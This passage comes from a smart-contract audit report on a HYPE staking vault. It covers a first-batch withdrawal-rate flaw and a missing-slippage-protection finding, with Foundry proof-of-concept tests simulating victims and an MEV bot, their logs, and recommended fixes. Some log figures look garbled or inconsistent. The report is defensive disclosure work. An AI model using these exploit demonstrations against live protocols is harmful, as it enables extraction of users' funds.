  Withdrawal Processed:
  - Assigned to Batch #0
  - Locked rate: 1e18 (still 1.0!)
  - vHYPE withdrawn: 4.975124378109452736318e21
  - HYPE received: 4.975124378109452736318e21

  PRINCIPAL LOSS
  - Original deposit: 5,000 HYPE
  - HYPE received: 4.975124378109452736318e21
  - NET LOSS: 2.48756218905472636 82e19 HYPE
  - Loss percentage: 4%

  OUTCOME [CRITICAL]
  - Victim deposited at rate 1.005e18
  - Victim withdrew at locked rate 1.0
  - Not only zero yield, but negative return!
```

Recommendation

1. Require minimum withdrawals with minimum time

```
// +++++ Add deployment timestamp +++++
uint256 public immutable deploymentTimestamp;

constructor() {
   //+++++ assign block.timestamp to deploymentTimestamp ++++
    deploymentTimestamp = block.timestamp;
    _disableInitializers();
}

function _fetchBatch() internal view returns (Batch memory) {
    if (currentBatchIndex == batches.length) {
        // ALWAYS enforce timing, even for first batch
        if (lastFinalizedBatchTime != 0) {
            require(
                block.timestamp > lastFinalizedBatchTime + 1 days,
                BatchNotReady()
            );
            // ... delegation lock check ...
        } else {
            // +++++ For first batch, wait minimum time to accumulate
               rewards +++++
```

```
            // can adjust to any time
            require(
                block.timestamp >= deploymentTimestamp + 7 days,
                FirstBatchNotReady(deploymentTimestamp + 7 days)
            );
        }

        // +++++ Require at least one withdrawal in queue +++++
        require(withdrawQueue.sizeOf() > 0, NoWithdrawalsInQueue());

        uint256 snapshotExchangeRate = exchangeRate();

        // ... rest of function
    }
}
```

2. Access Control for the first batch processing

```
function processBatch(uint256 numWithdrawals)
    public
    whenNotPaused
    whenBatchProcessingNotPaused
{
    // ++++ During first batch period, require operator role ++++
    if (lastFinalizedBatchTime == 0) {
        require(
            roleRegistry.hasRole(roleRegistry.OPERATOR_ROLE(), msg.
                sender),
            OnlyOperatorCanCreateFirstBatch()
        );
    }

    // ... rest of function
}
```

M-02: Lack of Slippage Protection Enables MEV Exploitation on All Deposits

Summary

The `StakingVaultManager.deposit()` function lacks **slippage** protection, allowing users' deposit transactions to execute at exchange rates significantly different from what they expected when submitting the transaction.

This vulnerability affects **all deposits** and enables MEV attacks where sophisticated actors can monitor the mempool and exploit pending deposits by front-running or back-running based on exchange rate movements.

The protocol forces users to accept **whatever exchange rate** exists at execution time, even if it has changed substantially since transaction submission, unlike standard DeFi protocols such as Uniswap, Curve, etc., that require users to specify minimum output amounts.

This creates **information asymmetry**, where mempool-monitoring bots have a significant advantage over regular users.

Finding Description

The root cause is the absence of a `minVHYPEOut` (or similar) parameter in the `deposit()` function that would allow users to specify the minimum acceptable amount of vHYPE tokens they're willing to receive for their HYPE deposit.

```
function deposit() external payable canDeposit whenNotPaused {
    uint256 amountToDeposit = msg.value.stripUnsafePrecision();
    uint256 amountToMint = HYPETovHYPE(amountToDeposit);  // No
        minVHYPEOut parameter!
    require(amountToMint > 0, ZeroAmount());
    vHYPE.mint(msg.sender, amountToMint);
    // ...
}
```

Key factors:

1. The exchange rate is calculated on the fly every time it's queried:

```
function exchangeRate() public view returns (uint256) {
    return Math.mulDiv(totalBalance(), 1e18, vHYPE.totalSupply());
}
```

2. Rate changes between transaction submission and execution due to

- continuous accrual of staking rewards,
- slashing events can occur,
- other withdrawals and deposits affecting `totalSupply()` and `totalBalance`

3. No user control about

- the minimum vHYPE they are willing to accept
- the maximum acceptable slippage percentage
- transaction deadline or expiry

4. All pending transactions are visible to MEV bots, who can front-run/back-run accordingly for more profit.

Impact Explanation

1. Users receive less vHYPE than expected due to unexpected exchange rate
2. Because there are no reverts on higher slippage percentages, users are unaware of the silent exploitation.
3. Creates information asymmetry by giving users with MEV capabilities a greater advantage than others.
4. The annual losses can go high over time.

Likelihood Explanation

1. Not suitable for all users, as it requires mempool monitoring infrastructure (MEV bots).
2. Only uninformed users deposit at bad times
3. Still not difficult to execute, so it is exploitable

Proof of Concept

Paste the below test cases in StakingVaultManager.t.sol to simulate the issue:

1. Demonstrates users receive less vHYPE than expected due to rate changes during pending transaction

```
function test_SlippageExploit_RateIncreaseDuringPendingTx() public
   withExcessStakeBalance {
        address victim = makeAddr("victim");
        address mevBot = makeAddr("mevBot");

        hl.mockCoreUserExists(victim, true);
        hl.mockCoreUserExists(mevBot, true);

        uint256 victimDepositAmount = 100_000 * 1e18;
        vm.deal(victim, victimDepositAmount);
        vm.deal(mevBot, victimDepositAmount);

        // STEP 1: VICTIM CALCULATES EXPECTED OUTPUT
        console.log("STEP 1: Victim Prepares Deposit Transaction");

        uint256 initialRate = stakingVaultManager.exchangeRate();
        uint256 initialTotalBalance = stakingVaultManager.totalBalance
            ();
        uint256 initialSupply = vHYPE.totalSupply();

        console.log("- Protocol State:");
        console.log("  - Total Balance: %e HYPE", initialTotalBalance);
```

```
21          console.log("  - Total Supply: %e vHYPE", initialSupply);
22          console.log("  - Exchange Rate: %e", initialRate);
23
24          uint256 victimExpectedVHYPE = stakingVaultManager.HYPETovHYPE(
                victimDepositAmount);
25          console.log("- Victim's deposit: 100,000 HYPE");
26          console.log("- Expected vHYPE: %e", victimExpectedVHYPE);
27
28          // STEP 2: TIME PASSES, STAKING REWARDS ACCRUE
29          console.log("STEP 2: Time Passes - Staking Rewards Accumulate")
                ;
30          console.log("- Victim's tx is pending in mempool...");
31          console.log("- Network congestion: high gas prices");
32          console.log("- Meanwhile, staking rewards accrue on L1\n");
33
34          // Simulate 1 day of rewards (rewards accrue during the pending
                period)
35          warp(block.timestamp + 1 days);
36
37          // Mock 0.274% daily rewards (10% APY / 365 days)
38          L1ReadLibrary.DelegatorSummary memory currentSummary =
                stakingVault.delegatorSummary();
39          uint64 rewardedDelegated = uint64((currentSummary.delegated *
                10027) / 10000); // +0.274%
40
41          _mockDelegations(validator, rewardedDelegated);
42
43          uint256 newRate = stakingVaultManager.exchangeRate();
44          uint256 newTotalBalance = stakingVaultManager.totalBalance();
45          uint256 rateIncrease = ((newRate - initialRate) * 10000) /
                initialRate;
46
47          console.log("REWARDS ACCRUED:");
48          console.log("- New Total Balance: %e HYPE", newTotalBalance);
49          console.log("- New Exchange Rate: %e", newRate);
50          console.log("- Rate increase: %s basis points (0.%s%%)\n",
                rateIncrease, rateIncrease);
51
52          // STEP 3: MEV BOT MONITORS MEMPOOL
53          console.log("STEP 3: MEV Bot Monitors Mempool");
54          console.log("- Bot detects victim's pending deposit");
55          console.log("- Bot calculates:");
56          console.log("  - Current rate: %e (higher than victim expected)
                ", newRate);
57          console.log("  - Victim will receive LESS vHYPE than expected")
                ;
58          console.log("- Bot strategy: BACK-RUN (let victim execute at
                worse rate)\n");
59
60          // STEP 4: VICTIM'S TRANSACTION EXECUTES
61          console.log("STEP 4: Victim's Transaction Finally Executes");
```

```
62
63          vm.prank(victim);
64          stakingVaultManager.deposit{value: victimDepositAmount}();
65
66          uint256 victimActualVHYPE = vHYPE.balanceOf(victim);
67          uint256 victimVHYPELoss = victimExpectedVHYPE -
                victimActualVHYPE;
68          uint256 victimLossPercentage = (victimVHYPELoss * 10000) /
                victimExpectedVHYPE;
69
70          console.log("- Deposited: 100,000 HYPE");
71          console.log("- Expected vHYPE: %e", victimExpectedVHYPE);
72          console.log("- Actual vHYPE: %e", victimActualVHYPE);
73          console.log("- LOSS: %e vHYPE", victimVHYPELoss);
74          console.log("- Loss percentage: %s basis points (0.%s%%)",
                victimLossPercentage, victimLossPercentage);
75          console.log("- NO REVERT - Transaction succeeds with silent
                loss!\n");
76
77          // STEP 5: MEV BOT DEPOSITS WITH PERFECT INFORMATION =====
78          console.log("STEP 5: MEV Bot Deposits With Perfect Information"
                );
79
80          uint256 botExpectedVHYPE = stakingVaultManager.HYPETovHYPE(
                victimDepositAmount);
81
82          vm.prank(mevBot);
83          stakingVaultManager.deposit{value: victimDepositAmount}();
84
85          uint256 botActualVHYPE = vHYPE.balanceOf(mevBot);
86          uint256 botSlippage = botExpectedVHYPE > botActualVHYPE ?
                botExpectedVHYPE - botActualVHYPE : 0;
87
88          console.log("- Bot calculates exact rate before submitting");
89          console.log("- Bot expected: %e vHYPE", botExpectedVHYPE);
90          console.log("- Bot received: %e vHYPE", botActualVHYPE);
91          console.log("- Bot's slippage: %e vHYPE (minimal!)",
                botSlippage);
92          console.log("- Bot knows EXACTLY what they'll get\n");
93
94          // IMPACT ANALYSIS
95          console.log("=== IMPACT ANALYSIS ===");
96          console.log("- Victim's loss: %e vHYPE", victimVHYPELoss);
97          console.log("- Bot's slippage: %e vHYPE", botSlippage);
98          console.log(
99              "- Information asymmetry ratio: %sx worse for victim",
100             victimVHYPELoss > 0 ? (victimVHYPELoss / (botSlippage > 0 ?
                    botSlippage : 1)) : 0
101         );
102         console.log("\n- Victim: NO control, NO protection, silent loss
                ");
```

```
103         console.log("- Bot: Perfect information, optimal timing");
104         console.log("- Result: Systematic value extraction from regular
                users\n");
105
106         console.log("ROOT CAUSE");
107         console.log("- deposit() function has NO minVHYPEOut parameter"
                );
108         console.log("- Users CANNOT specify minimum acceptable output")
                ;
109         console.log("- Transaction NEVER reverts due to slippage");
110         console.log("- Compare to:");
111         console.log("  > Uniswap: requires amountOutMin");
112         console.log("  > Curve: requires min_dy");
113         console.log("  > Balancer: requires minBPT");
114         console.log("  > Ventuals: NO PROTECTION\n");
115
116         // Assertions
117         assertLt(victimActualVHYPE, victimExpectedVHYPE, "Victim should
                receive less vHYPE than expected");
118         assertGt(victimVHYPELoss, 0, "Victim should suffer measurable
                loss");
119         assertApproxEqAbs(botActualVHYPE, botExpectedVHYPE, 1e18, "Bot
                should get ~expected amount");
120
121         // Information asymmetry: victim's loss should be significantly
                larger than bot's
122         assertTrue(
123             victimVHYPELoss > botSlippage * 10, "Victim's loss should
                    be much larger than bot's (info asymmetry)"
124         );
125     }
```

Logs:

```
1  STEP 1: Victim Prepares Deposit Transaction
2    - Protocol State:
3      - Total Balance: 6e23 HYPE
4      - Total Supply: 6e23 vHYPE
5      - Exchange Rate: 1e18
6    - Victim's deposit: 100,000 HYPE
7    - Expected vHYPE: 1e23
8    STEP 2: Time Passes - Staking Rewards Accumulate
9    - Victim's tx is pending in mempool...
10   - Network congestion: high gas prices
11   - Meanwhile, staking rewards accrue on L1
12
13   REWARDS ACCRUED:
14   - New Total Balance: 6.0162e23 HYPE
15   - New Exchange Rate: 1.0027e18
16   - Rate increase: 27 basis points (0.27%)
17
```

```
  STEP 3: MEV Bot Monitors Mempool
  - Bot detects victim's pending deposit
  - Bot calculates:
    - Current rate: 1.0027e18 (higher than victim expected)
    - Victim will receive LESS vHYPE than expected
  - Bot strategy: BACK-RUN (let victim execute at worse rate)

  STEP 4: Victim's Transaction Finally Executes
  - Deposited: 100,000 HYPE
  - Expected vHYPE: 1e23
  - Actual vHYPE: 9.97307270370000997307270370000997307270e22
  - LOSS: 2.6927296299990026927 3e20 vHYPE
  - Loss percentage: 26 basis points (0.26%)
  - NO REVERT - Transaction succeeds with silent loss!

  STEP 5: MEV Bot Deposits With Perfect Information
  - Bot calculates exact rate before submitting
  - Bot expected: 9.97307270370000997307270370000997307270e22 vHYPE
  - Bot received: 9.97307270370000997307270370000997307270e22 vHYPE
  - Bot's slippage: 0e0 vHYPE (minimal!)
  - Bot knows EXACTLY what they'll get

  === IMPACT ANALYSIS ===
  - Victim's loss: 2.6927296299990026927 3e20 vHYPE
  - Bot's slippage: 0e0 vHYPE
  - Information asymmetry ratio: 269272962999900269273x worse for
    victim

- Victim: NO control, NO protection, silent loss
  - Bot: Perfect information, optimal timing
  - Result: Systematic value extraction from regular users

  ROOT CAUSE
  - deposit() function has NO minVHYPEOut parameter
  - Users CANNOT specify minimum acceptable output
  - Transaction NEVER reverts due to slippage
  - Compare to:
    > Uniswap: requires amountOutMin
    > Curve: requires min_dy
    > Balancer: requires minBPT
    > Ventuals: NO PROTECTION
```

2. Demonstrates large-scale impact with multiple victims and aggregate losses

```
function test_SlippageExploit_AggregateImpact() public
    withExcessStakeBalance {
        // Create multiple victim addresses
        address victim1 = makeAddr("victim1");
        address victim2 = makeAddr("victim2");
        address victim3 = makeAddr("victim3");

```

```
7           hl.mockCoreUserExists(victim1, true);
8           hl.mockCoreUserExists(victim2, true);
9           hl.mockCoreUserExists(victim3, true);
10
11          uint256 depositAmount = 50_000 * 1e18;
12          vm.deal(victim1, depositAmount);
13          vm.deal(victim2, depositAmount);
14          vm.deal(victim3, depositAmount);
15
16          console.log("SCENARIO: Multiple Users Depositing During High
                Gas Period");
17          console.log("- 3 users each deposit 50,000 HYPE");
18          console.log("- All transactions pending for 6 hours");
19          console.log("- Staking rewards continue to accrue\n");
20
21          // INITIAL STATE
22          uint256 initialRate = stakingVaultManager.exchangeRate();
23          uint256 totalExpectedVHYPE = 0;
24
25          console.log("Initial State:");
26          console.log("- Exchange Rate: %e", initialRate);
27          console.log("- Each user expects: %e vHYPE\n",
                stakingVaultManager.HYPETovHYPE(depositAmount));
28
29          // Calculate expectations for all victims
30          uint256 victim1Expected = stakingVaultManager.HYPETovHYPE(
                depositAmount);
31          uint256 victim2Expected = stakingVaultManager.HYPETovHYPE(
                depositAmount);
32          uint256 victim3Expected = stakingVaultManager.HYPETovHYPE(
                depositAmount);
33          totalExpectedVHYPE = victim1Expected + victim2Expected +
                victim3Expected;
34
35          // SIMULATE 6 HOURS OF REWARDS
36          console.log("6 Hours Pass - Rewards Accumulate:");
37          warp(block.timestamp + 6 hours);
38
39          // Mock 6 hours of rewards (10% APY / 365 days / 4 = 0.00685%)
40          // 6 hours = 1/4 of a day, so we take the daily rate and divide
                 by 4
41          L1ReadLibrary.DelegatorSummary memory currentSummary =
                stakingVault.delegatorSummary();
42          // Cast to uint256 to avoid overflow, then back to uint64
43          uint64 rewardedDelegated = uint64((uint256(currentSummary.
                delegated) * 100000685) / 100000000); // +0.000685%
44
45          _mockDelegations(validator, rewardedDelegated);
46
47          uint256 newRate = stakingVaultManager.exchangeRate();
48          console.log("- New Exchange Rate: %e", newRate);
```

```
49          console.log("- Rate increase: 0.00685%%\n");
50
51          // ALL VICTIMS' TRANSACTIONS EXECUTE
52          console.log("All Transactions Execute at New Rate:");
53
54          vm.prank(victim1);
55          stakingVaultManager.deposit{value: depositAmount}();
56          uint256 victim1Actual = vHYPE.balanceOf(victim1);
57
58          vm.prank(victim2);
59          stakingVaultManager.deposit{value: depositAmount}();
60          uint256 victim2Actual = vHYPE.balanceOf(victim2);
61
62          vm.prank(victim3);
63          stakingVaultManager.deposit{value: depositAmount}();
64          uint256 victim3Actual = vHYPE.balanceOf(victim3);
65
66          uint256 totalActualVHYPE = victim1Actual + victim2Actual +
                victim3Actual;
67
68          // CALCULATE AGGREGATE LOSSES
69          uint256 victim1Loss = victim1Expected - victim1Actual;
70          uint256 victim2Loss = victim2Expected - victim2Actual;
71          uint256 victim3Loss = victim3Expected - victim3Actual;
72          uint256 totalLoss = totalExpectedVHYPE - totalActualVHYPE;
73
74          console.log("Individual Losses:");
75          console.log("- Victim 1: %e vHYPE loss", victim1Loss);
76          console.log("- Victim 2: %e vHYPE loss", victim2Loss);
77          console.log("- Victim 3: %e vHYPE loss", victim3Loss);
78          console.log("\nAggregate Loss:");
79          console.log("- Total vHYPE lost: %e", totalLoss);
80          console.log("- Dollar value (@$5/HYPE): $%s", (totalLoss / 1e18
                ) * 5);
81          console.log("- Dollar value (@$50/HYPE): $%s\n", (totalLoss / 1
                e18) * 50);
82
83          // SCALE TO PROTOCOL LEVEL
84          console.log("=== PROTOCOL-LEVEL IMPACT ===");
85          console.log("If this represents daily deposit volume:");
86          console.log("- Daily loss: %e vHYPE", totalLoss);
87          console.log("- Weekly loss: %e vHYPE", totalLoss * 7);
88          console.log("- Monthly loss: %e vHYPE", totalLoss * 30);
89          console.log("- Annual loss: %e vHYPE", totalLoss * 365);
90          console.log("- To MEV bots: (via information asymmetry)\n");
91
92          console.log("VULNERABILITY CHARACTERISTICS");
93          console.log("- Affects: ALL deposits (not just first)");
94          console.log("- Exploitable: By any mempool-monitoring bot");
95          console.log("- Silent: No revert, users don't know they lost
                value");
```

```
96          console.log("- Systematic: Happens on every rate change");
97          console.log("- Unfair: Information asymmetry favors
                sophisticated actors\n");
98
99          // Assertions
100         assertGt(totalLoss, 0, "Aggregate loss should be measurable");
101         assertLt(totalActualVHYPE, totalExpectedVHYPE, "All victims
                receive less than expected");
102
103         // Each victim should have suffered a loss
104         assertGt(victim1Loss, 0, "Victim 1 should have loss");
105         assertGt(victim2Loss, 0, "Victim 2 should have loss");
106         assertGt(victim3Loss, 0, "Victim 3 should have loss");
107     }
```

Logs:

```
SCENARIO: Multiple Users Depositing During High Gas Period
  - 3 users each deposit 50,000 HYPE
  - All transactions pending for 6 hours
  - Staking rewards continue to accrue

  Initial State:
  - Exchange Rate: 1e18
  - Each user expects: 5e22 vHYPE

  6 Hours Pass - Rewards Accumulate:
  - New Exchange Rate: 1.00000685e18
  - Rate increase: 0.00685%

  All Transactions Execute at New Rate:
  Individual Losses:
  - Victim 1: 3.42497653891070847e17 vHYPE loss
  - Victim 2: 3.42497653891070847e17 vHYPE loss
  - Victim 3: 3.42497653891070847e17 vHYPE loss

Aggregate Loss:
  - Total vHYPE lost: 1.027492961673212541e18
  - Dollar value (@$5/HYPE): $5
  - Dollar value (@$50/HYPE): $50

  === PROTOCOL-LEVEL IMPACT ===
  If this represents daily deposit volume:
  - Daily loss: 1.027492961673212541e18 vHYPE
  - Weekly loss: 7.192450731712487787e18 vHYPE
  - Monthly loss: 3.082478885019637623e19 vHYPE
  - Annual loss: 3.75034931010722577465e20 vHYPE
  - To MEV bots: (via information asymmetry)

  VULNERABILITY CHARACTERISTICS
  - Affects: ALL deposits (not just first)
```

```
35   - Exploitable: By any mempool-monitoring bot
36   - Silent: No revert, users don't know they lost value
37   - Systematic: Happens on every rate change
38   - Unfair: Information asymmetry favors sophisticated actors
```

Recommendation

1. Implement Slippage Protection

```
1
2  // Add new error
3  error SlippageTooHigh(uint256 amountOut, uint256 minAmountOut);
4
5  /// @noticeDeposit HYPE to receive vHYPE with slippage protection
6  /// @param minVHYPEOut Minimum amount of vHYPE to receive (reverts if
       less)
7  /// @return vhypeAmount The actual amount of vHYPE minted
8  function deposit(uint256 minVHYPEOut) external payable canDeposit
       whenNotPaused returns (uint256 vhypeAmount) {
9      uint256 amountToDeposit = msg.value.stripUnsafePrecision();
10
11     // Calculate vHYPE to mint at current rate
12     uint256 amountToMint = HYPETovHYPE(amountToDeposit);
13     require(amountToMint > 0, ZeroAmount());
14
15     // Slippage protection: revert if output less than minimum
16     //+++++ add minvhype check +++++
17     require(amountToMint >= minVHYPEOut, SlippageTooHigh(amountToMint,
           minVHYPEOut));
18
19     // Mint vHYPE
20     vHYPE.mint(msg.sender, amountToMint);
21
22     // Transfer HYPE to staking vault
23     if (amountToDeposit > 0) {
24         stakingVault.deposit{value: amountToDeposit}();
25     }
26
27     emit Deposit(msg.sender, amountToMint, amountToDeposit);
28
29     return amountToMint;
30 }
```